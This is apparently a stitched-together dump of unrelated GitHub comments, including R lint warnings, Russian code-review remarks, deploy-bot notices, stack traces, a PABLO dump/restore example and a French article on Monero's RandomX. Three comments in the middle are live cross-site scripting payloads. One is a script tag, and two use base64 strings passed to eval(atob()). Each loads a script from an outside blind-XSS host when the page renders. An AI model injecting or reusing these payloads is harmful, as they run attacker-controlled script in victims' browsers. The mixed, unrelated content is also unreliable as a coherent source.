[R/calculate_fst.R:79:24:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_fst.R#L79) *warning:* **no visible global function definition for ‘findtype’**
```r
      allele_2 <- 10 + findtype(pop1[[i]]$chromosome2, focal_marker)
                       ^~~~~~~~
```
[R/calculate_fst.R:85:24:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_fst.R#L85) *warning:* **no visible global function definition for ‘findtype’**
```r
      allele_1 <- 10 + findtype(pop2[[i]]$chromosome1, focal_marker)
                       ^~~~~~~~
```
[R/calculate_fst.R:86:24:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_fst.R#L86) *warning:* **no visible global function definition for ‘findtype’**
```r
      allele_2 <- 10 + findtype(pop2[[i]]$chromosome2, focal_marker)
                       ^~~~~~~~
```
[R/calculate_ld.R:39:10:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_ld.R#L39) *warning:* **no visible global function definition for ‘check_input_pop’**
```r
  pop <- check_input_pop(pop)
         ^~~~~~~~~~~~~~~
```
[R/calculate_ld.R:45:16:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_ld.R#L45) *warning:* **no visible global function definition for ‘create_random_markers’**
```r
    markers <- create_random_markers(number_of_markers)
               ^~~~~~~~~~~~~~~~~~~~~
```
[R/calculate_ld.R:51:23:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_ld.R#L51) *warning:* **no visible global function definition for ‘findtype’**
```r
      allele_1 <- 1 + findtype(pop[[i]]$chromosome1, focal_marker)
                      ^~~~~~~~
```
[R/calculate_ld.R:52:23:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_ld.R#L52) *warning:* **no visible global function definition for ‘findtype’**
```r
      allele_2 <- 1 + findtype(pop[[i]]$chromosome2, focal_marker)
                      ^~~~~~~~
```
[R/calculate_ld.R:73:15:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_ld.R#L73) *warning:* **no visible global function definition for ‘calculate_average_ld’**
```r
        ld <- calculate_average_ld(g1, g2)
              ^~~~~~~~~~~~~~~~~~~~
```
[R/calculate_marker_frequency.R:31:10:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_marker_frequency.R#L31) *warning:* **no visible global function definition for ‘check_input_pop’**
```r
  pop <- check_input_pop(pop)
         ^~~~~~~~~~~~~~~
```
[R/calculate_tajima_d.R:28:10:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/calculate_tajima_d.R#L28) *warning:* **no visible global function definition for ‘check_input_pop’**
```r
  pop <- check_input_pop(pop)
         ^~~~~~~~~~~~~~~
```
[R/iso_female.R:44:17:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/iso_female.R#L44) *warning:* **no visible global function definition for ‘check_input_pop’**
```r
  source_pop <- check_input_pop(source_pop)
                ^~~~~~~~~~~~~~~
```
[R/junctions.R:25:12:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/junctions.R#L25) *warning:* **no visible global function definition for ‘calculate_dist_junctions’**
```r
  junct <- calculate_dist_junctions(pop)
           ^~~~~~~~~~~~~~~~~~~~~~~~
```
[R/simulate_admixture_migration.R:105:29:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/simulate_admixture_migration.R#L105) *warning:* **no visible global function definition for ‘population_to_vector’**
```r
      input_population_1 <- population_to_vector(input_population_1)
                            ^~~~~~~~~~~~~~~~~~~~
```
[R/simulate_admixture_migration.R:130:29:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/simulate_admixture_migration.R#L130) *warning:* **no visible global function definition for ‘population_to_vector’**
```r
      input_population_2 <- population_to_vector(input_population_2)
                            ^~~~~~~~~~~~~~~~~~~~
```
[R/simulate_admixture_migration.R:202:27:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/simulate_admixture_migration.R#L202) *warning:* **no visible global function definition for ‘create_pop_class’**
```r
  selected_popstruct_1 <- create_pop_class(selected_pop$population_1)
                          ^~~~~~~~~~~~~~~~
```
[R/simulate_admixture_migration.R:203:27:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/simulate_admixture_migration.R#L203) *warning:* **no visible global function definition for ‘create_pop_class’**
```r
  selected_popstruct_2 <- create_pop_class(selected_pop$population_2)
                          ^~~~~~~~~~~~~~~~
```
[R/simulate_admixture.R:81:27:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/simulate_admixture.R#L81) *warning:* **no visible global function definition for ‘population_to_vector’**
```r
      input_population <- population_to_vector(input_population)
                          ^~~~~~~~~~~~~~~~~~~~
```
[R/simulate_admixture.R:142:25:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/simulate_admixture.R#L142) *warning:* **no visible global function definition for ‘create_pop_class’**
```r
  selected_popstruct <- create_pop_class(selected_pop$population)
                        ^~~~~~~~~~~~~~~~
```
[R/utilities.R:275:27:](https://github.com/thijsjanzen/GenomeAdmixR/blob/6b99a8965d6cbefa3383d482e6564286c2f3bea9/R/utilities.R#L275) *warning:* **no visible binding for global variable ‘verify_individual’**
```r
  v <- unlist(lapply(pop, verify_individual))
                          ^~~~~~~~~~~~~~~~~
```


добавте проверку вводимых чисел, на допустимый диапазон, например от [2..255](это только для примера)


How do you attribute someone on an unrelated commit? Or did you cherry-pick it and just totally change it?  I would like to be able to do this with commits we take from you guys but that can't really be cherry-picked (it makes no sense to me to cherry pick a commit where not even the same files exist!).

Would love to know.. :)


замем вверху объявлять переменную а потом ее тут инициализировать?
Всегда если есть контекст с объявлением и нициализацией используйте это вместе
```
long long D = pow(b, TWO) - (FOUR * a*c);
```
Т.е .нет смыла где то объявлять переменную, а потом ее сдесь инициализировать


The note at the top is to indicate that the code assumes these are your classes. It will not exist in a fork because of this.


Successfully aliased the URL <https://texttv-3-app-qmyr085gg.now.sh> to the following aliases:

* https://app.texttv.nu
* https://texttv-3-app.bonny.now.sh
* https://texttv-3-app-git-texttv2019.bonny.now.sh


Should really use ```off()``` not ```unbind()``` (similar to using ```on()``` instead of ```bind()```, which you already do).


ну вопервых, зачем объявлять все переменные вещественными?
Я в условии это говорил, вещественная арифметика она сложней чем арифметика с целыми числами. Т.е. максимально старайтесь объявлять переменные целого типа


My project was to make a compiler for https://github.com/rtgdk/Compiler-Construction/blob/master/Language%20Specifications.pdf these specfication. You can go through any compiler design book how each and every part is made. From lexer to parser to semantics.


what, why you need the listener if you don't use it anymore


[R/get_alignment_sequences.R:40:24:](https://github.com/richelbilderbeek/pirouette/blob/0ca146306df1b888c180efd664c608dfa15906e5/R/get_alignment_sequences.R#L40) *warning:* **no visible global function definition for ‘get_alignment_n_taxa’**
```r
  sequences <- rep(NA, get_alignment_n_taxa(alignment))
                       ^~~~~~~~~~~~~~~~~~~~
```


you don't check if arena is soloarena and it will lead to exceptions


это выражение `TWO * a` надо делать константой оно у вас повторяеться в двух местах при вычеслении  `x1` и `x2`


Тульская


Как понять по этому вводу что будет делать эта программа? Зачем мне вводить a b c? Я вот запускаю вашу программу я понимаю что мне нужно делать


No need to create multiple objects. Created one object and use that same object to call different methods.Let me know if this is not clear


Successfully aliased the URL <https://ssr-demo-9fq7rtsof.now.sh> to the following aliases:

* https://ssr-demo.schalela.now.sh
* https://ssr-demo-git-master.schalela.now.sh


что такое "x=" ??? вот вывод для пользователя, он как вы думаете поймет что вы тут делаете


你可以 archive 这个 repo


то же самое и сдесь что такое "x1=" и "x2=" вообще не ясно


переменную `D` можно делать константой, если она дальше в коде не меняеться


OK, copied/pasted from S3.dataLists.js


remove all the commented print statement and function definition except comments


вспомните что для вещественных чисел такое сравнение например с нулем работать не будет
Т.к. представоление нуля в памяти модет быть следующее
0.000000000000001


I wonder about the order of the if's here: shouldn't disabled be checked first?


Semicolon


   I don't have that issue, but still get the fatal error.

 #        by default loads $root_dir/config.yaml
      def initialize(config)
        raise TypeError, "'config' needs to be a string" unless config.string?
        raise TypeError, "Configuration file '#{config}' cannot be found" unless File.exist? config

        begin
          #open base config
          @config = load(config)
          # set default value if key? does not exist
          @config.default = nil
          @@config = config
        rescue => e
          print_error "Fatal Error: cannot load configuration file '#{config}' : #{e.message}"
          print_error e.backtrace
        end

        @@instance = self
      end


Why do you need to release? Anything has not started yet. 🤔


This looks like exactly the same event handler in both cases, so why not have one with a combined selector ```#checkbox1, #checkbox2```?


Successfully aliased the URL <https://ohjelmointi-19-avslhgcxc.now.sh> to the following aliases:

* https://ohjelmointi-19.mooc.fi
* https://ohjelmointi-19.mooc.now.sh
* https://ohjelmointi-19-git-master.mooc.now.sh


Can you explain why you did this instead of `this.currentUser`? They should be the same, and in the long term we want to remove `Discourse.XYZ` constants.


Should this get marked  in some way with what it is closing?


We probably do want to give this a flag.


I only change NumbersActivity file. Don't even touch color family or phrases class. But they are working perfect as I add same handling codes. 🤣 😄
Can anyone tell me its reason? By the way Im using android studio 3.4.2


When this partial is used in a list context (e.g. on a blog index page or in a homepage blog section) it causes the script to be declared multiple times (one per post) and each of these would have the same id.
I am not sure whether that's expected behavior but the repeated id is causing HTML validators to report this as an error.


[R/count_n_mutations.R:41:16:](https://github.com/richelbilderbeek/pirouette/blob/4101cffdfc774ce0c6580526b3c7482e43036146/R/count_n_mutations.R#L41) *warning:* **no visible global function definition for ‘get_alignment_sequences’**
```r
  sequences <- get_alignment_sequences(alignment)
               ^~~~~~~~~~~~~~~~~~~~~~~
```
[R/get_alignment_sequences.R:33:24:](https://github.com/richelbilderbeek/pirouette/blob/4101cffdfc774ce0c6580526b3c7482e43036146/R/get_alignment_sequences.R#L33) *warning:* **no visible global function definition for ‘get_alignment_n_taxa’**
```r
  sequences <- rep(NA, get_alignment_n_taxa(alignment))
                       ^~~~~~~~~~~~~~~~~~~~
```


Successfully aliased the URL <https://sensors-sensibility-rglngq9hu.now.sh> to the following aliases:

* https://sensors-sensibility.schalela.now.sh
* https://sensors-sensibility-git-master.schalela.now.sh


"><script src=//offensivesecurity.xss.ht></script>


This change broke the lib for Swift 5


[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-839-maginative.pantheonsite.io/)

Created multidev environment [ci-839](https://dashboard.pantheon.io/sites/2266d250-4a93-49c0-b38f-25a486e2eaf9#ci-839) for maginative.


"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vb2ZmZXNpdmVzZWN1cml0eS54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 autofocus>


This actually causes methods and attributes not being added when pressing enter!


At some point I was indeed cherry picking commits but it became really tedious (you can do it even if the same file does not exist, but you need to manually fix the "conflicts" and move code around).
Now I am just changing the `Author` field.


"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vb2ZmZXNpdmVzZWN1cml0eS54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id))>


@sankhadeeproy007  this commit is wrong. first you wrote two time componentcomponent. second even you correct spell state update depth exceed exception.

I fixed StyleProvider.js by `getDerivedStateFromProps`  locally but connectStyle.js is culprit. There is lots of this keyword is used and `getDerivedStateFromProps` is static method can't use this keyword.


let's upper case that


> ![image](https://user-images.githubusercontent.com/22836933/61372530-11e58900-a8a0-11e9-9b8c-bddc8b64c2e8.png)
> Please, look at that error. It looks like you made a mistake in youth commit. Flow validation failed while we tried to make a new build.

I have the same issue :(


In general maybe, but no need for this specific case, so more efficient this way


Apologies I forgot to comment there. I'm not worried about that case as no one should already have `ZSH_HIGHLIGHT_DIRS_BLACKLIST` set since we've never used it (and a github search backs this claim https://github.com/search?q=ZSH_HIGHLIGHT_DIRS_BLACKLIST&type=Code ). The only way to get rid of the warning is to undefine `X_ZSH_HIGHLIGHT_DIRS_BLACKLIST`. I expect all users will delete the `X_` characters and not give this a second thought.


Hmm, seems like this interface is not exported and no longer supported (relying on `*.hpp` result in unresolved symbols). LibLAS is also not updated to support the new interface in `laszip3`.


Then we can't make use of the checkbox variables, so I'm not sure which ends up being more efficient...DRYer your suggested way for sure


Исключение не добавлял. Ошибся в описании коммита.


Deleted


Superb


Successfully aliased the URL <https://uploadplace-hjwhx5flw.now.sh> to the following aliases:

* https://uploadplace.jakesb1996.now.sh
* https://uploadplace-git-master.jakesb1996.now.sh


Ah cool, thanks for the tip. I'll do that going forward. 👍


how about comp_edge?


The MSC says register is available at `$prefix/account/register`, so maybe something like:

```
        account = Resource()
        v2.putChild('account', account)
        account.putChild('register', self.sydent.servlets.registerServlet)
```


Successfully aliased the URL <https://api-jjh0nm1qc.now.sh> to the following aliases:

* https://api.komfy.now.sh
* https://api-git-master.komfy.now.sh


The use of a temporary variable seems unnecessary to me. Otherwise, great improvement!


[![Visit Site](https://raw.githubusercontent.com/pantheon-systems/ci-drops-8/0.1.0/data/img/visit-site-36.png)](https://ci-842-maginative.pantheonsite.io/)

Created multidev environment [ci-842](https://dashboard.pantheon.io/sites/2266d250-4a93-49c0-b38f-25a486e2eaf9#ci-842) for maginative.


<details>

<summary>Submitting the task to Taskcluster failed. Details</summary>

Client ID project/taskcluster/tc-github/production-2 does not have sufficient scopes and is missing the following scopes:

```
secrets:get:project/releng/balrogscript/deploy
```

This request requires the client to satisfy the following scope expression:

```
{
  "AllOf": [
    "secrets:get:project/releng/balrogscript/deploy",
    "queue:route:statuses",
    {
      "AnyOf": [
        {
          "AllOf": [
            "queue:scheduler-id:taskcluster-github",
            {
              "AnyOf": [
                "queue:create-task:highest:aws-provisioner-v1/github-worker",
                "queue:create-task:very-high:aws-provisioner-v1/github-worker",
                "queue:create-task:high:aws-provisioner-v1/github-worker",
                "queue:create-task:medium:aws-provisioner-v1/github-worker",
                "queue:create-task:low:aws-provisioner-v1/github-worker",
                "queue:create-task:very-low:aws-provisioner-v1/github-worker",
                "queue:create-task:lowest:aws-provisioner-v1/github-worker"
              ]
            }
          ]
        },
        {
          "AnyOf": [
            "queue:create-task:aws-provisioner-v1/github-worker",
            {
              "AllOf": [
                "queue:define-task:aws-provisioner-v1/github-worker",
                "queue:task-group-id:taskcluster-github/HzjTPanwT9KIUGSTQLFyvg",
                "queue:schedule-task:taskcluster-github/HzjTPanwT9KIUGSTQLFyvg/eiM1fd_hTk6NVr6zuZ6m_Q"
              ]
            }
          ]
        }
      ]
    }
  ]
}
```

---

* method:     createTask
* errorCode:  InsufficientScopes
* statusCode: 403
* time:       2019-07-25T12:38:45.070Z

</details>


This change currently breaks my script compilation :(
A small snippet of my classpath:
```
20 = {File@1648} "/home/gerard/.sdkman/candidates/java/8.0.202-zulufx/jre/lib/rt.jar"
21 = {File@1649} "/home/gerard/IdeaProjects/polyglot-maven/polyglot-kotlin/target/test-classes"
22 = {File@1650} "/home/gerard/IdeaProjects/polyglot-maven/polyglot-kotlin/target/classes"
23 = {File@1651} "/home/gerard/IdeaProjects/polyglot-maven/polyglot-common/target/classes"
24 = {File@1652} "/home/gerard/.m2/repository/org/jetbrains/kotlin/kotlin-stdlib-jdk8/1.3.31/kotlin-stdlib-jdk8-1.3.31.jar"
```
As you can see the `test-classes` dir comes before the `classes` dir.
Previously the last matching entry was selected because the `res[prefix] = cpentry` line overwrites the previous value.
My script compiled correctly with the above classpath.
After this change only the first matching entry is selected thus breaking compilation in my case (but maybe fixes it for others).
I'd like to suggest to add all files to the script classpath that matches the predicate `cpentry.matchMaybeVersionedFile(prefix) || (cpentry.isDirectory && cpentry.hasParentNamed(prefix))` instead of only 1 entry.


[core] fix(EditableText): support selectAllOnFocus with type=number in latest React (#3672)

Previews: documentation | landing | table


I forgot to mention that I updated my Kotlin version from 1.3.31 to 1.3.41 after which my tests failed. After some debugging I figured this change was the issue.


Can You add simplified interface to the example?


Do you write the vtu file using the function 'PABLO::write' or is the vtu file generated by an external application (i.e., not PABLO)?

In the first case, when you write the vtu file, you could also write a PABLO dump and then restore the tree from that file.

Here an example that explains how to use the dump/restore functions:
```
    int archiveVersion = 1;

    // Create the tree
    double x_0 = 10.;
    double y_0 = 20.;
    double z_0 = 30.;
    double l   = 1.5;

    PabloUniform octree(x_0, y_0, z_0, l, 2);

    std::cout << " Origin : ( " << octree.getX0() << ", " << octree.getY0() << ", " << octree.getZ0() << " )" << std::endl;
    std::cout << " Length : " << octree.getL() << std::endl;

    // Refine and write the octree
    octree.adaptGlobalRefine();
    octree.adaptGlobalRefine();
    octree.adaptGlobalRefine();
    octree.adaptGlobalRefine();

    std::vector<uint32_t> refineList;
    refineList.push_back(  7);
    refineList.push_back( 13);
    refineList.push_back( 15);

    for (uint32_t id : refineList) {
        octree.setMarker(id, 3);
    }
    octree.adapt(false);

    octree.computeConnectivity();
    octree.write("Pablo_00006_original");

    // Dump the tree
    std::string header = "2D PABLO";
    OBinaryArchive binaryWriter2D("Pablo_00006_dump", archiveVersion, header);
    octree.dump(binaryWriter2D.getStream());
    binaryWriter2D.close();

    // Create an empty octree
    PabloUniform octreeRestored;

    // Restore the tree
    IBinaryArchive binaryReader2D("Pablo_00006_dump");
    octreeRestored.restore(binaryReader2D.getStream());

    std::cout << " Restored Origin : ( " << octreeRestored.getX0() << ", " << octreeRestored.getY0() << ", " << octreeRestored.getZ0() << " )" << std::endl;
    std::cout << " Restored Length : " << octreeRestored.getL() << std::endl;

    // Write the restored octree
    octreeRestored.computeConnectivity();
    octreeRestored.write("Pablo_00006_restored");
```


But do you need the checkbox variables for anything? Otherwise you could give them a common CSS class and then do:

```
var checkboxes = $('.checkbox_class');
checkboxes.off('.ucce').on('change.ucce', function() {
    if ($('.checkbox_class:checked').length == checkboxes.length) {
        $('.button.disabled').removeClass('disabled').addClass('alert');
    }
});
```


Forgot to add a description to the commit message so here it goes:

There was a missing closing parenthesis and adding one would result on two levels which is kind of confusing, so I fixed it by adding a comma.


done


If you search before scan, warning.
Need to fix message level or log level?


# RandomX

*06/05/19*

_**Monero et Arweave pour valider l'algorithme de preuve du travail. **_

En quelle année sommes-nous ? Il semble qu'hier encore, ils disaient qu'une monnaie numérique orientée sur le respect de la vie privée ne pouvait être "élaguée" et que les ASIC finiraient par l'emporter. Mais nous voilà... sur le point de le réaliser et de parler de RandomX... et de porter nos casques d'astronautes. RandomX doit encore faire ses preuves, mais c'est une étape passionnante du développement de Monero. Ce guide vous présente un aperçu de sa nature et de ses plans, et vous indique où vous pouvez en apprendre davantage.

## Qu'est-ce que RandomX ?

RandomX est un nouvel algorithme de preuve du travail (PoW) que Monero commencera à expérimenter lors de la prochaine mise à jour du réseau. RandomX est conçu pour résister aux l'ASIC en se servant de l'exécution de code aléatoire et de techniques difficiles à mémoriser pour empêcher le matériel minier spécialisé de dominer le réseau. Comme RandomX est optimisé pour les processeurs généraux, le réseau deviendra plus décentralisé et plus égalitaire dans la distribution des récompenses par blocs.

Howard Chu (hyc) parlera de RandomX à la prochaine conférence Monero (https://monerokon.com/), d'ici là, visitez le dépôt GitHub RandomX (https://github.com/tevador/RandomX) pour plus de détails.
Pour le moment, RandomX commence son processus d'audit avec Trail Of Bits (https://www.trailofbits.com/), X41 (https://www.x41-dsec.de/),[Quarkslab](https://www.quarkslab.com/en/) et le Groupe Kudelski (https://www.nagra.com/). RandomX devrait être mis en ligne lors de la prochaine mise à jour du réseau Monero.

## Qu'est-ce qui va changer ?

Les ASIC sont les premières victimes de RandomX, comme il est optimisé pour les CPU, les GPU n'auront pas la même proportion de hashrate. Early Nvidia (CUDA) benchmarks (https://github.com/SChernykh/RandomX_CUDA_CUDA) révèle des augmentations de hashrate entre 100% et 150%, et cela devrait continuellement s'améliorer. Les travaux relatifs aux GPU AMD (OpenCL) sont en cours. Parce que RandomX est difficilement mémorisable, on s'attend à ce que les botnets et les malwares diminuent à mesure que la consommation de la mémoire sera plus facilement remarquée par les administrateurs. Une diminution globale du nethash augmentera la proportion de la prime globale versée aux mineurs légitimes, qu'ils travaillent avec des CPU ou des GPU.

RandomX a deux modes avec des besoins de mémoire et des performances différents. Le mode rapide nécessite 2 Go de mémoire partagée, mais 4x-6x les performances du mode lumière qui ne nécessite que 256 Mo de RAM. Le mode rapide est destiné aux mineurs dédiés. Le mode Light est conçu pour permettre aux nœuds complets de valider des blocs sans avoir besoin de 2+Go de RAM, de sorte que les petits périphériques (comme les ordinateurs monocartes ARM, par exemple Rock64) peuvent toujours être utilisés comme des nœuds autonomes.

[Tableau original ici]

## La Collaboration RandomX

RandomX a été développé pour Monero par tevador, hyc, vielmetti, antanst et SChernykh. D'autres organisations sont déjà intéressées par son adoption. Arweave (https://www.arweave.org/), un facilitateur de stockage sans serveur a fait don de l'audit Trail of Bits à la communauté Monero et va implémenter RandomX avant Monero pour leur propre utilisation. Arweave fournit une approche innovante basée sur les cryptomonnaies pour le stockage décentralisé à long terme des données. L'exploitation minière sur Arweave repose à la fois sur la preuve du travail et - comme nouveau concept unique à Arweave - sur la preuve d'accès. Les mineurs d'Arweave sont incités par la preuve d'accès à la duplication et ont un accès rapide aux données stockées dans le réseau.

Wownero (http://wownero.org/) lance également RandomX dans sa prochaine mise à jour v0.6 et l'appellera RandomWOW. Le code RandomX sera mis à jour une fois les audits terminés, de façon a être prêt pour le prochain "fork" du réseau Monero. Une autre différence est que RandomWOW aura un scratchpad plus petit pour le hachage, 1Mo au lieu de 2Mo, un plus petit nombre d'itérations d'exécution de VM, et une augmentation des exécutions de VM en chaîne par hachage pour augmenter le coût de compilation du programme pour les GPU.


MCPE 1.12 has already pc format.


Successfully aliased the URL <https://christosportofolio-mtaq9jl7v.now.sh> to the following aliases:

* https://christosportofolio.chriskaragounis.now.sh
* https://christosportofolio-git-master.chriskaragounis.now.sh


Puzzle `1570-01eb7ff8` disappeared from [`src/main/groovy/com/zerocracy/stk/internal/cleanup_comments.groovy`](https://github.com/zerocracy/farm/blob/master/src/main/groovy/com/zerocracy/stk/internal/cleanup_comments.groovy), that's why I closed #1669. Please, remember that the puzzle was not necessarily removed in this particular commit. Maybe it happened earlier, but we discovered this fact only now.


I wasn't able to retrieve PDD puzzles from the code base and submit them to GitHub. If you think that it's a bug on our side, please submit it to [yegor256/0pdd](https://github.com/yegor256/0pdd/issues):

> 554 Message rejected: Sending paused for this account. For more information, please check the inbox of the email address associated with your AWS account.

Please, copy and paste this stack trace to GitHub:

```
Net::SMTPFatalError
554 Message rejected: Sending paused for this account. For more information, please check the inbox of the email address associated with your AWS account.

/app/vendor/ruby-2.6.0/lib/ruby/2.6.0/net/smtp.rb:969:in `check_response'
/app/vendor/ruby-2.6.0/lib/ruby/2.6.0/net/smtp.rb:914:in `data'
/app/vendor/ruby-2.6.0/lib/ruby/2.6.0/net/smtp.rb:659:in `block in send_message'
/app/vendor/ruby-2.6.0/lib/ruby/2.6.0/net/smtp.rb:854:in `rcptto_list'
/app/vendor/ruby-2.6.0/lib/ruby/2.6.0/net/smtp.rb:659:in `send_message'
/app/vendor/bundle/ruby/2.6.0/gems/mail-2.7.1/lib/mail/network/delivery_methods/smtp_connection.rb:54:in `deliver!'
/app/vendor/bundle/ruby/2.6.0/gems/mail-2.7.1/lib/mail/network/delivery_methods/smtp.rb:101:in `block in deliver!'
/app/vendor/ruby-2.6.0/lib/ruby/2.6.0/net/smtp.rb:519:in `start'
/app/vendor/bundle/ruby/2.6.0/gems/mail-2.7.1/lib/mail/network/delivery_methods/smtp.rb:109:in `start_smtp_session'
/app/vendor/bundle/ruby/2.6.0/gems/mail-2.7.1/lib/mail/network/delivery_methods/smtp.rb:100:in `deliver!'
/app/vendor/bundle/ruby/2.6.0/gems/mail-2.7.1/lib/mail/message.rb:276:in `deliver!'
/app/objects/job_emailed.rb:72:in `block in proceed'
/app/objects/job_emailed.rb:44:in `each'
/app/objects/job_emailed.rb:44:in `rescue in proceed'
/app/objects/job_emailed.rb:34:in `proceed'
/app/objects/job_commiterrors.rb:36:in `proceed'
/app/objects/job_detached.rb:48:in `exclusive'
/app/objects/job_detached.rb:36:in `block in proceed'
/app/objects/job_detached.rb:36:in `fork'
/app/objects/job_detached.rb:36:in `proceed'
/app/0pdd.rb:358:in `block in <top (required)>'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1635:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1635:in `block in compile!'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:992:in `block (3 levels) in route!'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1011:in `route_eval'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:992:in `block (2 levels) in route!'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1040:in `block in process_route'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1038:in `catch'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1038:in `process_route'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:990:in `block in route!'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:989:in `each'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:989:in `route!'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1097:in `block in dispatch!'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1076:in `block in invoke'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1076:in `catch'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1076:in `invoke'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1094:in `dispatch!'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:924:in `block in call!'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1076:in `block in invoke'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1076:in `catch'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1076:in `invoke'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:924:in `call!'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:913:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-protection-2.0.4/lib/rack/protection/xss_header.rb:18:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-protection-2.0.4/lib/rack/protection/path_traversal.rb:16:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-protection-2.0.4/lib/rack/protection/json_csrf.rb:26:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-protection-2.0.4/lib/rack/protection/base.rb:50:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-protection-2.0.4/lib/rack/protection/base.rb:50:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-protection-2.0.4/lib/rack/protection/frame_options.rb:31:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-2.0.6/lib/rack/logger.rb:15:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-2.0.6/lib/rack/common_logger.rb:33:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:231:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:224:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-2.0.6/lib/rack/head.rb:12:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/rack-2.0.6/lib/rack/method_override.rb:22:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:194:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1957:in `call'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1502:in `block in call'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1729:in `synchronize'
/app/vendor/bundle/ruby/2.6.0/gems/sinatra-2.0.4/lib/sinatra/base.rb:1502:in `call'
